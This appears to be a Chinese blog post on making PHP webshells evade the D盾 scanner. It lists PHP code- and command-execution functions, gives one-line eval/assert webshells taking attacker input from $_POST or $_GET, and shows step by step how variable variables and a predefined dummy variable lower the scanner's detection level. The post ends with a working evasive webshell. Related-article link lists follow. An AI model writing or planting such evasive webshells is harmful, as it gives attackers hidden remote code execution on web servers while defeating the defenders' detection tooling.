webshell绕过D盾
2024-10-19 15:02:37
PHP常见的代码执行函数:
eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter
usort
uasort()
PHP常见的命令执行函数
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
常见的一句话
<?php eval($_POST['a']);?>
<?php assert(@$_POST['a']); ?>
可以看出直接就是5级eval后门,
如果把$_POST['a']换成一个变量,D盾的级别成了4级,如下图:
如果把$a在变为一个定义好的变量,级别就会变成1,所以是eval后门,因为参数的问题,D盾也有说明
所以,可以用可变变量,可变变量是一种PHP独特的变量,他允许动态改变一个变量的名称。故加入到一句话木马中
<?php
$a = 'qq';
$$a = $_GET['a'];
eval($ww);
?>
如图发现,说参数ww是未知内容了,那么直接在第一行定义一下ww试试
成了可疑eval,剩下的利用php相关的特性和连接符,或者注释符,即可绕过
<?php
$ww = "nice";
$a = 'ww';
$$a = $_GET['a'];
echo eval($ww);
?>
最新文章
- 运用泛型,冒泡排序实现JDK引用类型数组的排序
- 一道算法题目, 二行代码, Binary Tree
- C#数据结构杂记
- NEFU 506&;&;ZOJ 3353 Chess Board (四种构造的高斯消元)
- Android EditText 文本框实现搜索和清空效果
- Invitation Cards---poj1511(spfa)
- Redis 1:简介
- mahout 运行Twenty Newsgroups Classification实例
- 【img】 图片是怎么存储的
- 【原】隐藏ultraGrid1指定列
- MySQL - “Timeout error occurred trying to start MySQL Daemon”解决方法
- 安装指南【win10下安装fedora】
- 【转】删除修改Eclipse里的SVN账户
- VS2008 如何将Release版本设置可以调试的DEBUG版本
- UWP中实现大爆炸效果(一)
- datatable动态列处理,重绘表格(敲黑板,划重点!!!我肝了一天半才彻底弄懂这个东西,TAT)
- pyothon学习笔记2-元组
- 蓝桥杯近3年决赛题之二(16年b组)
- [APIO 2009] Atm
- Com类型
热门文章
- 第一节:《线程安全和锁Synchronized概念》
- PHP打印跟踪调试信息
- 鸿蒙内核源码分析(构建工具篇) | 顺瓜摸藤调试鸿蒙构建过程 | 百篇博客分析OpenHarmony源码 | v59.01
- 鸿蒙内核源码分析(汇编基础篇) | CPU在哪里打卡上班? | 百篇博客分析OpenHarmony源码 | v22.01
- P4491-[HAOI2018]染色【多项式,二项式反演】
- Python如何连接Mysql及基本操作
- WPF进阶技巧和实战02-布局
- .Net Core利用反射动态加载类库的方法(解决类库不包含Nuget依赖包的问题)
- 支持remote write和exemplar的prometheus服务
- 超详细的Eureka源码解析